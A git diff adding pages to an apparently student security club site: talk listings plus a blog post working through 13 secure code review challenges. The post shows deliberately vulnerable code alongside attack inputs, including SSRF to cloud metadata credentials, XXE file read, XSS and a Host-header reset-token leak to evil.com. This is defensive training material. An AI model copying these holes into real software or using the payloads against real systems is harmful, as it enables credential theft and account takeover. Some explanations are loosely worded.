diff --git a/src/content/research/being-a-better-ally/index.mdx b/src/content/research/being-a-better-ally/index.mdx new file mode 100644 index 00000000..96c7f080 --- /dev/null +++ b/src/content/research/being-a-better-ally/index.mdx @@ -0,0 +1,12 @@ +--- +title: "Being a Better Ally" +authors: + - name: "Quincy Myles Jr." + - name: "Ainsley Ross" + - name: "Ashley Alt" + - name: "Allison Jankowski" +date: 2024-03-24 +group: "general" +summary: "Being a Better Ally" +video: "https://www.youtube.com/watch?v=qgtuHURKqPU" +--- diff --git a/src/content/research/beyond-ip-a/index.mdx b/src/content/research/beyond-ip-a/index.mdx new file mode 100644 index 00000000..46626be7 --- /dev/null +++ b/src/content/research/beyond-ip-a/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Beyond ip a" +authors: + - name: "Nathaniel Beckstead" +date: 2022-12-22 +group: "general" +summary: "Beyond ip a" +video: "https://www.youtube.com/watch?v=WwDvJBjGVfk" +--- diff --git a/src/content/research/beyondcorp-device-based-trust/index.mdx b/src/content/research/beyondcorp-device-based-trust/index.mdx new file mode 100644 index 00000000..b950aa61 --- /dev/null +++ b/src/content/research/beyondcorp-device-based-trust/index.mdx @@ -0,0 +1,9 @@ +--- +title: "BeyondCorp Device based trust" +authors: + - name: "Kyle Carreto" +date: 2018-09-01 +group: "general" +summary: "An overview of permiterless network security cool stuff (BeyondCorp)" +video: "https://www.youtube.com/watch?v=wckwDk5so98" +--- diff --git a/src/content/research/bifrost-how-to-not-write-a-c2/index.mdx b/src/content/research/bifrost-how-to-not-write-a-c2/index.mdx new file mode 100644 index 00000000..4dffcf30 --- /dev/null +++ b/src/content/research/bifrost-how-to-not-write-a-c2/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Bifrost: How To NOT Write a C2" +authors: + - name: "Ashley Nikirk" +date: 2022-12-22 +group: "general" +summary: "Bifrost: How To NOT Write a C2" +video: "https://www.youtube.com/watch?v=N8sL6xTJIVc" +--- diff --git a/src/content/research/blue-team-logging/index.mdx b/src/content/research/blue-team-logging/index.mdx new file mode 100644 index 00000000..281988d7 --- /dev/null +++ b/src/content/research/blue-team-logging/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Blue Team Logging" +authors: + - name: "Jason Howe" +date: 2022-12-22 +group: "general" +summary: "Blue Team Logging" +video: "https://www.youtube.com/watch?v=iCh1ZbJj-zk" +--- diff --git a/src/content/research/blue-team-workshop-1/index.mdx b/src/content/research/blue-team-workshop-1/index.mdx new file mode 100644 index 00000000..55592233 --- /dev/null +++ b/src/content/research/blue-team-workshop-1/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Blue Team Workshop #1" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Blue Team Workshop #1" +video: "https://www.youtube.com/watch?v=JEU1-RPKMa8" +--- diff --git a/src/content/research/blue-team-workshop-10-15-2022/index.mdx b/src/content/research/blue-team-workshop-10-15-2022/index.mdx new file mode 100644 index 00000000..6a984877 --- /dev/null +++ b/src/content/research/blue-team-workshop-10-15-2022/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Blue Team Workshop 10/15/2022" +authors: + - name: "Injects" +date: 2022-12-22 +group: "general" +summary: "Blue Team Workshop 10/15/2022" +video: "https://www.youtube.com/watch?v=5sC0iTpmnVo" +--- diff --git a/src/content/research/booted-but-not-beaten-my-path-to-understanding-ddos-osint/index.mdx b/src/content/research/booted-but-not-beaten-my-path-to-understanding-ddos-osint/index.mdx new file mode 100644 index 00000000..0f8ad761 --- /dev/null +++ b/src/content/research/booted-but-not-beaten-my-path-to-understanding-ddos-osint/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Booted But Not Beaten: My Path to Understanding DDoS & OSINT" +authors: + - name: "Amour Narcisse Thompson" +date: 2025-02-26 +group: "general" +summary: "Booted But Not Beaten: My Path to Understanding DDoS & OSINT" +video: "https://www.youtube.com/watch?v=RZPyxY2Y92Q" +--- diff --git a/src/content/research/breaking-and-entering-skyscrapers/index.mdx b/src/content/research/breaking-and-entering-skyscrapers/index.mdx new file mode 100644 index 00000000..83bda18d --- /dev/null +++ b/src/content/research/breaking-and-entering-skyscrapers/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Breaking And Entering Skyscrapers" +authors: + - name: "Anthony Ioppolo" +date: 2024-11-17 +group: "general" +summary: "Breaking And Entering Skyscrapers" +video: "https://www.youtube.com/watch?v=3nKPUTI2MPo" +--- diff --git a/src/content/research/broken-down-anxious-and-unusable/index.mdx b/src/content/research/broken-down-anxious-and-unusable/index.mdx new file mode 100644 index 00000000..cfd98d73 --- /dev/null +++ b/src/content/research/broken-down-anxious-and-unusable/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Broken Down, Anxious, and Unusable" +authors: + - name: "Kyle Mullen" +date: 2023-11-21 +group: "general" +summary: "Broken Down, Anxious, and Unusable" +video: "https://www.youtube.com/watch?v=zUQ08uJBCmc" +--- diff --git a/src/content/research/bug-bounties/index.mdx b/src/content/research/bug-bounties/index.mdx new file mode 100644 index 00000000..2e241e60 --- /dev/null +++ b/src/content/research/bug-bounties/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Bug Bounties" +authors: + - name: "Sean Sun" +date: 2018-09-14 +group: "general" +summary: "Bug Bounties" +video: "https://www.youtube.com/watch?v=qihBc7rGYmM" +--- diff --git a/src/content/research/build-a-modern-api-with-aws/index.mdx b/src/content/research/build-a-modern-api-with-aws/index.mdx new file mode 100644 index 00000000..a334468e --- /dev/null +++ b/src/content/research/build-a-modern-api-with-aws/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Build a Modern API With AWS" +authors: + - name: "Nathaniel Beckstead" +date: 2022-12-22 +group: "general" +summary: "Build a Modern API With AWS" +video: "https://www.youtube.com/watch?v=7BqVYJ8rqZU" +--- diff --git a/src/content/research/building-a-c2/index.mdx b/src/content/research/building-a-c2/index.mdx new file mode 100644 index 00000000..4a65d0c6 --- /dev/null +++ b/src/content/research/building-a-c2/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Building a C2" +authors: + - name: "Jim Maskelony" +date: 2022-12-22 +group: "general" +summary: "Building a C2" +video: "https://www.youtube.com/watch?v=fn6Vz0OcoK8" +--- diff --git a/src/content/research/c2channels/index.mdx b/src/content/research/c2channels/index.mdx new file mode 100644 index 00000000..fb423fcf --- /dev/null +++ b/src/content/research/c2channels/index.mdx @@ -0,0 +1,10 @@ +--- +title: "C2Channels" +authors: + - name: "Amanda Brown" + - name: "Ben Bornholm" +date: 2018-09-01 +group: "general" +summary: "Amanda Brown and Ben Bornholm discuss what cloud fronting is and why it can be dangerous." +video: "https://www.youtube.com/watch?v=yXNcBnALfQI" +--- diff --git a/src/content/research/capture-the-flags-phillip-babey/index.mdx b/src/content/research/capture-the-flags-phillip-babey/index.mdx new file mode 100644 index 00000000..8f579981 --- /dev/null +++ b/src/content/research/capture-the-flags-phillip-babey/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Capture the Flags Phillip Babey" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Capture the Flags Phillip Babey" +video: "https://www.youtube.com/watch?v=KizPWloqG7M" +--- diff --git a/src/content/research/career-advice/index.mdx b/src/content/research/career-advice/index.mdx new file mode 100644 index 00000000..cf782a82 --- /dev/null +++ b/src/content/research/career-advice/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Career Advice" +authors: + - name: "Joe Cicero of Security Risk Advisors" +date: 2024-09-19 +group: "general" +summary: "Career Advice" +video: "https://www.youtube.com/watch?v=2c4rUP-3k1g" +--- diff --git a/src/content/research/career-fair-prep/index.mdx b/src/content/research/career-fair-prep/index.mdx new file mode 100644 index 00000000..c14bbc9b --- /dev/null +++ b/src/content/research/career-fair-prep/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Career Fair Prep" +authors: + - name: "Jathan Anandham" +date: 2022-12-22 +group: "general" +summary: "Career Fair Prep" +video: "https://www.youtube.com/watch?v=lYVVBrDE9x4" +--- diff --git a/src/content/research/cbc-padding-oracles-with-sean-newman/index.mdx b/src/content/research/cbc-padding-oracles-with-sean-newman/index.mdx new file mode 100644 index 00000000..deac6b05 --- /dev/null +++ b/src/content/research/cbc-padding-oracles-with-sean-newman/index.mdx @@ -0,0 +1,9 @@ +--- +title: "CBC Padding Oracles with Sean Newman" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "CBC Padding Oracles with Sean Newman" +video: "https://www.youtube.com/watch?v=AzYdJEg_iCQ" +--- diff --git a/src/content/research/ccdc-and-being-goated/index.mdx b/src/content/research/ccdc-and-being-goated/index.mdx new file mode 100644 index 00000000..06954d1d --- /dev/null +++ b/src/content/research/ccdc-and-being-goated/index.mdx @@ -0,0 +1,9 @@ +--- +title: "CCDC and Being Goated" +authors: + - name: "Phillip Babey" +date: 2022-12-22 +group: "general" +summary: "CCDC and Being Goated" +video: "https://www.youtube.com/watch?v=cUaprLBDqAw" +--- diff --git a/src/content/research/cellular-communications-and-their-inherent-flaws-w-nick-g/index.mdx b/src/content/research/cellular-communications-and-their-inherent-flaws-w-nick-g/index.mdx new file mode 100644 index 00000000..fe4cba10 --- /dev/null +++ b/src/content/research/cellular-communications-and-their-inherent-flaws-w-nick-g/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Cellular Communications and their Inherent Flaws w Nick G" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Cellular Communications and their Inherent Flaws w Nick G" +video: "https://www.youtube.com/watch?v=8WnAQxSVmN4" +--- diff --git a/src/content/research/certs-up/index.mdx b/src/content/research/certs-up/index.mdx new file mode 100644 index 00000000..1a49ee71 --- /dev/null +++ b/src/content/research/certs-up/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Certs Up" +authors: + - name: "Tenchi Mata" +date: 2023-09-08 +group: "general" +summary: "Apologies for the technical issues!" +video: "https://www.youtube.com/watch?v=MH65oSfUbJE" +--- diff --git a/src/content/research/chopping-down-spanning-tree/index.mdx b/src/content/research/chopping-down-spanning-tree/index.mdx new file mode 100644 index 00000000..a3ab45c0 --- /dev/null +++ b/src/content/research/chopping-down-spanning-tree/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Chopping Down Spanning Tree" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Chopping Down Spanning Tree" +video: "https://www.youtube.com/watch?v=tJmFKh-mWgo" +--- diff --git a/src/content/research/cloud-security-an-iam-game/index.mdx b/src/content/research/cloud-security-an-iam-game/index.mdx new file mode 100644 index 00000000..ade67f63 --- /dev/null +++ b/src/content/research/cloud-security-an-iam-game/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Cloud Security An IAM GAME" +authors: + - name: "Nathaniel Beckstead" +date: 2019-10-29 +group: "general" +summary: "Cloud Security An IAM GAME" +video: "https://www.youtube.com/watch?v=AoZEWD5tlBU" +--- diff --git a/src/content/research/cloud-security-part-1/index.mdx b/src/content/research/cloud-security-part-1/index.mdx new file mode 100644 index 00000000..85806899 --- /dev/null +++ b/src/content/research/cloud-security-part-1/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Cloud Security (Part 1)" +authors: + - name: "Bradley Harker" +date: 2022-12-22 +group: "general" +summary: "Cloud Security (Part 1)" +video: "https://www.youtube.com/watch?v=ZZYEaWMn0aQ" +--- diff --git a/src/content/research/cloud-security-part-2/index.mdx b/src/content/research/cloud-security-part-2/index.mdx new file mode 100644 index 00000000..1fc088c8 --- /dev/null +++ b/src/content/research/cloud-security-part-2/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Cloud Security Part 2" +authors: + - name: "Bradley Harker" +date: 2022-12-22 +group: "general" +summary: "Cloud Security Part 2" +video: "https://www.youtube.com/watch?v=riwMyglLosQ" +--- diff --git a/src/content/research/code-review-practice/index.mdx b/src/content/research/code-review-practice/index.mdx new file mode 100644 index 00000000..534ee465 --- /dev/null +++ b/src/content/research/code-review-practice/index.mdx @@ -0,0 +1,2213 @@ +--- +title: "Code Review Practice - 30 Problems" +summary: "Some simple code review challenges" +description: "Some simple code review challenges" +date: 2025-12-26 +authors: + - name: dudcom +group: vulnerability research +--- + +
+ ## Introduction I was bored during break and wanted go through + https://github.com/dub-flow/secure-code-review-challenges for some practice + on general code audting honestly was preaty good practice. Just my notes + from it, didn't really clean this up much other then asking AI to fix some + formating / spelling mistakes so don't bully me to hard. +
+ +
+## Challenge 1 + +```python +from flask import Flask, request, redirect, url_for +import logging + +app = Flask(__name__) + +logging.basicConfig(level=logging.INFO) + +def is_authenticated_user(): + # This function checks if the user is authenticated and is omitted for brevity + pass + +@app.route('/') +def home(): + if not is_authenticated_user(): + logging.info('Unauthorized access attempt.') + return redirect(url_for('login')) + + redirect_url = request.args.get('redirect_url') + if redirect_url: + logging.info(f'Redirecting to: {redirect_url}') + return redirect(redirect_url) + + return 'Welcome to the home page!' + +@app.route('/login') +def login(): + # Simulated login page + return 'Login Page - User authentication goes here.' + +if __name__ == '__main__': + app.run(debug=False) +``` + +- What can an attacker see? +- What can an attacker use/control? + +### Bug 1 + +The issue here is that: + +```python + redirect_url = request.args.get('redirect_url') + if redirect_url: + logging.info(f'Redirecting to: {redirect_url}') + return redirect(redirect_url) +``` + +- Since an attacker controls the redirect variable, an individual can use this for phishing + - if we did something like `https://yourapp.com/?redirect_url=https://evil.com/phish` + - our code gets redirected here + +- Use Flask's `url_for` here + - `logging.info(f'Redirecting to: {redirect_url}')` + +- This can be used to perform log injection as well + - Log is not sanitized even though it takes user controlled data + +- Can input newlines or control characters such as: + - `?redirect_url=https://evil.com\nINFO User authenticated as admin` + +
+
+## Challenge 2 + +```js +const express = require("express"); +const axios = require("axios"); + +const app = express(); + +app.get("/profile", (req, res) => { + console.log("Received request for /profile"); + + // Simulated profile data + const profileData = { + name: "John Doe", + role: "Developer", + }; + + res.json(profileData); + console.log("Sent profile data response"); +}); + +app.get("/fetch-data", async (req, res) => { + const url = req.query.url; + console.log(`Received request for /fetch-data with URL: ${url}`); + + try { + const response = await axios.get(url); + res.send(response.data); + console.log(`Data fetched and sent for URL: ${url}`); + } catch (error) { + console.error(`Error fetching data from URL: ${url}`, error); + res.status(500).send("Error fetching data"); + } +}); + +app.listen(3000, () => { + console.log("Server running on port 3000"); +}); +``` + +### Bug 1 + +- The issue here is we are fully generating the code through user input + - This allows for server-side request forgery + - We have a `get` request that takes in a URL and is then used to fetch data without any validation. Here an attacker could use it to access data they shouldn't be allowed to see +- In order to secure this we should have as little in the control of the user as possible: + +```js +if (!/^[a-z0-9]+$/i.test(urlParam)) { + return res + .status(400) + .send("Invalid URL. Only alphanumeric characters are allowed."); +} +const fullUrl = `https://internal-app/${urlParam}`; +``` + +- This prevents access to internal services that a website shouldn't be able to reach + - This is a classic SSRF (server side request forgery) +- For example it could access cloud data and secrets + `/fetch-data?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/` + +
+
+## Challenge 3 + +```java +@SpringBootApplication +@RestController +public class main { + private Map userDatabase = new HashMap(); + + public main() { + } + public static void main(String[] args) { + SpringApplication.run(main.class, args); + } + + @PostMapping({"/register"}) + public String registerUser(@RequestParam String username, @RequestParam String password) { + String hashedPassword = this.hashPassword(password); + this.userDatabase.put(username, hashedPassword); + return "User registered successfully"; + } + + @PostMapping({"/login"}) + public String loginUser(@RequestParam String username, @RequestParam String password) { + String hashedPassword = (String)this.userDatabase.get(username); + return hashedPassword != null && hashedPassword.equals(this.hashPassword(password)) ? "Login successful" : "Invalid username or password"; + } + + private String hashPassword(String password) { + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(password.getBytes()); + byte[] digest = md.digest(); + return DatatypeConverter.printHexBinary(digest).toUpperCase(); + } catch (NoSuchAlgorithmException var4) { + return "Error: Hashing algorithm not found"; + } + } + @GetMapping({"/admin/usernames"}) + public Map getAllUsernames() { + return this.userDatabase; + } +} +``` + +### Bug 1 + +- The primary issue in this code is the use of MD5, it's not cryptographically secure for storing passwords at rest + - the next issue here is the fact we are not salting the MD5 so identical password creates MD5 with no salt + - All a salt really is a random number generally 10 in length which adds cryptographic soundness and randomness to passwords +- The problem here is the fact that MD5 is simply not secure enough for a database, we should be using slow and salted password hashing algorithms such as: + - bcrypt + - scrypt + - Argon2 + - PBKDF2 + +### Bug 2 + +```java + @GetMapping({"/admin/usernames"}) + public Map getAllUsernames() { + return this.userDatabase; + } +``` + +- The following code here is also insecure since it allows for attackers to leak the entire database by just accessing a single endpoint + +### Bug 3 + + ``` + /register + /login + /admin/usernames + ``` + +- All of the endpoints have no authentication or auth checks + - Anyone can use the endpoints to register/go through usernames and dump creds + +### Bug 4 + +```java +String hashedPassword = this.userDatabase.get(username); +return hashedPassword != null && hashedPassword.equals(...) +``` + +- You can side channel if the user exists or not, by using timing differences + +### Bug 5 + +```java +private Map userDatabase = new HashMap(); +``` + +- HashMap is not thread-safe and shouldn't be used for long term storage + - Multiple writes can corrupt the data +- Note this issue is not as bad in this code base since it's a mobile application and in theory it wouldn't break the code base as much but otherwise + +
+
+## Challenge 4 + +```python +from flask import Flask, request + +app = Flask(__name__) + +USERNAME = "admin" +PASSWORD = "mypassword" + +@app.route('/') +def home(): + return "Welcome to the Flask App!" + +@app.route('/login', methods=['POST']) +def login(): + username = request.form.get('username') + password = request.form.get('password') + + if username == USERNAME and password == PASSWORD: + return "Login successful!" + else: + return "Invalid credentials!" + +if __name__ == '__main__': + app.run(debug=False) +``` + +### Bug 1 + +- The creds are hard coded in the code enough said + +
+
+## Challenge 5 + +```java +@SpringBootApplication +@RestController +public class main { + public static void main(String[] args) { + SpringApplication.run(main.class, args); + } + + @RequestMapping("/") + public String index() { + return "Greetings from Spring Boot!"; + } + + @RequestMapping(method=RequestMethod.POST, value="/process") + public String process(String inputXml) { + if (inputXml == null) { + return "Provide an inputXml variable"; + } + + try { + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = dbf.newDocumentBuilder(); + Document doc = builder.parse(new InputSource(new StringReader(inputXml))); + + return xmlToString(doc); + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + public static String xmlToString(Document doc) { + try { + StringWriter sw = new StringWriter(); + TransformerFactory tf = TransformerFactory.newInstance(); + + Transformer transformer = tf.newTransformer(); + transformer.transform(new DOMSource(doc), new StreamResult(sw)); + + return sw.toString(); + } catch (Exception ex) { + throw new RuntimeException("Error converting to String", ex); + } + } +} +``` + +### Bug 1 + +- The bug here is a classic XML External Entity (XXE) vulnerability + +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); +DocumentBuilder builder = dbf.newDocumentBuilder(); +Document doc = builder.parse(new InputSource(new StringReader(inputXml))); +``` + +- The attacker controls the XML which allows for including `` + - This allows attackers to read local files + - Make network requests + - Expand entities recursively +- This is all done server side + All of this culminates in the ability to perform arbitrary file read: + +```xml + + +]> +&xxe; +``` + +To secure this we use: + +```java +// Prevent XXE attacks +dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); +dbf.setXIncludeAware(false); +``` + +- This disables DOCTYPEs + +
+
+## Challenge 6 + +```go +package main + +import ( + "fmt" + "net/http" +) + +func main() { + http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Welcome to the Go Web Server! Visit /greet, /about, or /contact") + }) + + http.HandleFunc("/about", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "

About Us

We are a team of passionate Gophers...

") + }) + + http.HandleFunc("/contact", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "

Contact Us

Email us at contact@example.com

") + }) + + http.HandleFunc("/greet", func(w http.ResponseWriter, r *http.Request) { + name := r.URL.Query().Get("name") + response := fmt.Sprintf("

Hello, %s!

", name) + fmt.Fprint(w, response) + }) + + fmt.Println("Server is running at http://localhost:8080/") + http.ListenAndServe(":8080", nil) +} +``` + +### Bug 1 + +- The bug is the fact that `response := fmt.Sprintf("

Hello, %s!

", name)` the following line takes in user input and doesn't perform any type of validation to check for escaping, allowing for Cross-site Scripting + What this means is an attacker can provide `/greet?name=` + +After which the server will respond with: + +```html + + +

+ Hello, + + ! +

+ + +``` + +- This will cause the server to actually execute the script, which provides arbitrary JS in the victim's browser under the site's origin which allows for the following: + - Session cookie theft + - Account takeover + - CSRF token exfiltration + - DOM manipulation + - Phishing overlays + +
+
+## Challenge 7 + +````js + const express = require('express'); + const bodyParser = require('body-parser'); + +const app = express(); +app.use(bodyParser.json()); + +// Dummy email transporter (imagine this to be proper email transporter) +const transporter = { +sendMail: (mailOptions) => { +console.log('[MOCK] Sending email with options:', mailOptions); +} +}; + +app.get('/profile', (req, res) => { +// Dummy profile information (omitted for brevity) +res.json({ username: 'JohnDoe', email: 'john@example.com' }); +}); + +app.post('/register', (req, res) => { +// User registration logic (omitted for brevity) +res.send('User registration successful!'); +}); + +app.post('/reset-password', (req, res) => { +const resetLink = `http://${req.headers.host}/reset-password?token=generatedToken123`; +transporter.sendMail({ +from: 'support@example.com', +to: req.body.email, +subject: 'Password Reset', +text: `Click here to reset your password: ${resetLink}` +}); + + res.send('Password reset link has been sent to your email.'); + +}); + +app.listen(3000, () => console.log('Server is running on port 3000')); + +### Bug 1 + +- The bug in the code base here is the fact that we are trusting user input for the header: + ```js + const resetLink = `http://${req.headers.host}/reset-password?token=generatedToken123`; + +This allows attackers to send the following request: + + POST /reset-password HTTP/1.1 + Host: evil.com + Content-Type: application/json + + {"email":"victim@example.com"} + +- This will result in the server generating insecure URLs like the following sending victims to attacker controlled domains allowing for stealing the reset tokens and phishing creds + `http://evil.com/reset-password?token=generatedToken123` + +
+
+## Challenge 8 + +``` nginx +server { + listen 80; + server_name another-awesome-challenge.com; + + location /backend { + proxy_pass http://backend/; + } + + location /html { + alias /usr/share/nginx/html/; + } +} +```` + +### Bug 1 + +- The bug here is the fact that we don't perform any path normalization + - Here we are setting the "/html", and if we do something on the lines of + `/usr/share/nginx/html/../nginx.conf` +- The attack gets a very standard LFI, we can fix this by adding a `/` + +```nginx +location /html/ { + root /usr/share/nginx/html; +} +``` + +In order to understand why this adds an extra layer of security we need to understand how nginx resolves paths, +with root it looks like this: `filesystem_path = root + full_request_uri` + +- So the request `/html/index.html` will resolve to `/usr/share/nginx/html/html/index.html` +- Notice the entire URI is appended and the /html/ prefix stays intact +- The traversal attempts are all contained in the "root" dir + In comparison alias does the following: +- `filesystem_path = alias + (URI minus location prefix)` +- `/html/index.html` -\> `/usr/share/nginx/html/index.html` +- `/html/../secret.txt` -\> `/usr/share/nginx/html/../secret.txt` + Without the extra `/` we are able to perform matches like `/htmlfoo` or `/html../` + +The security comes from NGINX normalizing the URI before location matching. After normalization, `/html/../secret.txt` becomes `/secret.txt`, which no longer matches `location /html/`, so the request never reaches the `root` directive and is rejected. + +
+
+## Challenge 9 + +```python +from flask import Flask, request, redirect, url_for + +app = Flask(__name__) + +# Simulated "authentication" check +def is_authenticated(): + return True + +class User: + def __init__(self, username): + self.username = username + + def get_username(self): + return self.username + +# Assume that this talks to an actual database instead of returning hardcoded data +class UserProfileService: + def get_user_profile(self, username): + if username == 'testuser': + return User(username) + return None + + def update_user_profile(self, user_profile): + msg = f"Updated profile for user: {user_profile.get_username()}" + print(msg) + return msg + +user_profile_service = UserProfileService() + +@app.route('/') +def home(): + return ''' +
+ + +
+ ''' + +@app.route('/edit-profile', methods=['POST']) +def edit_profile(): + if not is_authenticated(): + return redirect(url_for('login')) + + username = request.form.get('username') + user_profile = user_profile_service.get_user_profile(username) + + if user_profile and user_profile.get_username() == username: + return user_profile_service.update_user_profile(user_profile) + + return "User not found or mismatch", 400 + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=5000, debug=False) +``` + +### Bug 1 + +- The bug here is the fact that anyone can edit the "username" variable regardless of whether they are properly logged in or not: + +```python +username = request.form.get('username') +user_profile = user_profile_service.get_user_profile(username) + +if user_profile and user_profile.get_username() == username: + return user_profile_service.update_user_profile(user_profile) +``` + +- user_profile.get_username() == username + - This validates that the user exists and we are editing the correct db value but doesn't validate that we are allowed to edit the username + In order to fix this we have to validate that the person editing the username is in fact the correct user: + +```python +def get_logged_in_username(): + return session.get('username') + +@app.route('/edit-profile', methods=['POST']) +def edit_profile(): + if not is_authenticated(): + return redirect(url_for('login')) + + logged_in_username = get_logged_in_username() + user_profile = user_profile_service.get_user_profile(logged_in_username) + + if user_profile: + return user_profile_service.update_user_profile(user_profile) + + return "User not found", 400 +``` + +- We now use a helper function in order to get the current session's username in order to edit that + +
+
+## Challenge 10 + +```js + const express = require('express'); + const jwt = require('jsonwebtoken'); + require('dotenv').config(); + + const app = express(); + + const secretKey = process.env.JWT_SECRET; + + const verifyToken = (req, res, next) => { + const token = req.headers.authorization; + + if (!token) { + return res.status(401).json({ message: 'No token provided' }); + } + + const decoded = jwt.decode(token, { complete: true }); + req.decoded = decoded.payload; + + next(); + }; + + app.get('/admin', verifyToken, (req, res) => { + const { username } = req.decoded; + if (username === 'admin') { + // admin functionality is now available to the user + + return res.status(200).json({ message: 'Admin access granted' }); + } + res.status(403).json({ message: 'Unauthorized access' }); + }); + + app.get('/generate-token', (req, res) => { + const payload = { username: 'user' }; + const token = jwt.sign(payload, secretKey, { expiresIn: '1h' }); + res.status(200).json({ token }); + }); + + app.listen(3000, () => { + console.log('Server running on port 3000'); + }); +``` + +### Bug 1 + +- Our issue here is how we are using the JWT token, while we do decode it we never actually verify that it's correct + - What this means is that we can fake being the admin and login to the admin mode shown above. To fix this we need to use +- `jwt.verify(token, secretKey)` + - Here we now validate that the JWT token is in fact for the admin +
+
+## Challenge 11 + +```python +from flask import Flask + +app = Flask(__name__) + +@app.route('/admin') +def admin(): +return "Admin area accessed!" + +@app.route('/') +def hello(): +return "Hello World!" + +if __name__ == "__main__": +app.run(host='0.0.0.0', port=5000) + + + +```nginx +events { + worker_connections 1024; + } + + http { + server { + listen 80; + server_name example.com; + + + location = /admin { + deny all; + } + + location / { + proxy_pass http://host.docker.internal:5000; + } + + } + } + +### Bug 1 + +The bug here is the difference between parsers, in this case nginx allows characters such as `\x85` in which case it will allow an attacker to reach `/admin\x85` while when Flask sees this it will end up actually not reading the unreadable ASCII which means the value + +``` nginx +location ~* ^/admin { + deny all; +} +```` + +- The fix here is to use a proper case-insensitive checks to ensure proper security of nginx + +
+
+## Challenge 12 + +```python +from flask import Flask, request, jsonify +import subprocess + +app = Flask(__name__) + +@app.route('/admin', methods=['POST']) +def admin_login(): + try: + password = request.json.get('password') + if not password: + return jsonify({"error": "Password is required"}), 400 + + # Call the bash script with the password as an argument + result = subprocess.run( + ['./validate_password.sh', password], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + output = result.stdout.decode().strip() + if output == "true": + return jsonify({"message": "Login successful"}), 200 + else: + return jsonify({"error": "Access Denied"}), 403 + except Exception as e: + return jsonify({"error": str(e)}), 500 + +if __name__ == '__main__': + app.run(debug=False) +``` + +```bash +#!/bin/bash + +SECURE_PASSWORD="SuperAdmin@123" + +if [[ $SECURE_PASSWORD == $1 ]]; then + echo "true" +else + echo "false" +fi +``` + +### Bug 1 + +```bash +if [[ $SECURE_PASSWORD == $1 ]]; then +``` + +The bug here is actually kinda interesting and is a language native bug related to bash, the TLDR is because our comparison doesn't use quotes we end up allowing the user input of `*` to actually pass and work as a good password. Furthermore it's also possible to leak the password here by brute forcing and checking to see if `X-kth*` passes. If the Xkth value passes then we know it's in the password/secret + +### Bug 2 + +While not directly exploitable the way input is being processed is a bad idea, if any user or threat actor somehow had access to the process information/audit logs for the running server it would be possible to see the plaintext password attempts. As such it's better to use stdin instead of commandline args: + +```python +subprocess.run( + ['./validate_password.sh'], + input=password, + text=True, + stdout=subprocess.PIPE +) +``` + +### Bug 3 + +```bash +if [[ $SECURE_PASSWORD == $1 ]]; then +``` + +- This is also side channelable + Easiest fix to code being is using some kind of hash for validation through ensuring matching hashes so it's constant time + +```bash +printf '%s' "$SECURE_PASSWORD" | \ + openssl dgst -sha256 | \ + diff - <(printf '%s' "$INPUT_PASSWORD" | openssl dgst -sha256) >/dev/null +``` + +
+
+## Challenge 13 + +```java +package com.example.demo; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; +import java.util.Map; + +@RestController +class UserController { + + private final JdbcTemplate jdbcTemplate; + public UserController(JdbcTemplate jdbcTemplate) { + this.jdbcTemplate = jdbcTemplate; + } + + @GetMapping("/users") + public List> getUsers(@RequestParam String orderBy) { + String query = "SELECT * FROM users ORDER BY " + orderBy; + return jdbcTemplate.queryForList(query); + } + + @PostMapping("/users") + public String addUser(@RequestParam String username) { + String query = "INSERT INTO users (username) VALUES (?)"; + jdbcTemplate.update(query, username); + return "User added successfully"; + } +} +``` + +### Bug 1 + +- The GET request here isn't safe since it's user input based SQL query which just leads to a trivial SQL injection, the POST request is fine though since it's treated as a value and not concatenated to the query in the back. + +
+
